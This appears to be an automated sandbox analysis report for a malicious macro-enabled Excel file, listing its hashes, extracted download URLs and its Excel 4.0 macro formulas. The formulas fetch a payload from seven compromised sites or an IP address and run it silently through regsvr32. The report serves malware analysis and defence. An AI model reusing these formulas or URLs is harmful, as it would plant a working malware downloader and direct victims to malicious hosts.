Behavioral task
behavioral1
Sample
f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef.xlsm
Resource
win10v2004-20241007-en
General
-
Target
f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef
-
Size
50KB
-
MD5
611407dcaa57d04ec45453e06fbc4a51
-
SHA1
645766461e57479ca19a1665b47d9755c6934907
-
SHA256
f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef
-
SHA512
682968c4139b2e084b74674c3e52cac1120df6a95181bbe149ac0f43d8057e804c7eb5c86ae5d5694891cfca6803aa8bb5884bc6fbdaf4ac6bef0f6f2542753c
-
SSDEEP
768:2x9D9onkH+lSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0Zl:2XD9oencDSmSIBlGeuSEcm2h0BZl
Malware Config
Extracted
http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/
http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/
http://aopda.org/wp-content/uploads/KXc3Agu18w/
http://agenciaml.com.br/wp-content/lMGfW5Wk09k/
http://advogadogoiania.com.br/wp-includes/VTz0V6D/
http://101.53.142.76/ApcCache/FiXQvn/
https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/WQNAwrWi77MV8a05fia/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/mMaIlj99Y1C1sYN/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/KXc3Agu18w/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://agenciaml.com.br/wp-content/lMGfW5Wk09k/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/VTz0V6D/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://101.53.142.76/ApcCache/FiXQvn/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.agenciaigual.com.br/Novo2017/yTZMu9FxcyHYFUkb/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()
Signatures
Files
-
f2223b7534d284126d4d65020d68a461d8b6574be12695a9e767f566d67301ef.xlsm office2007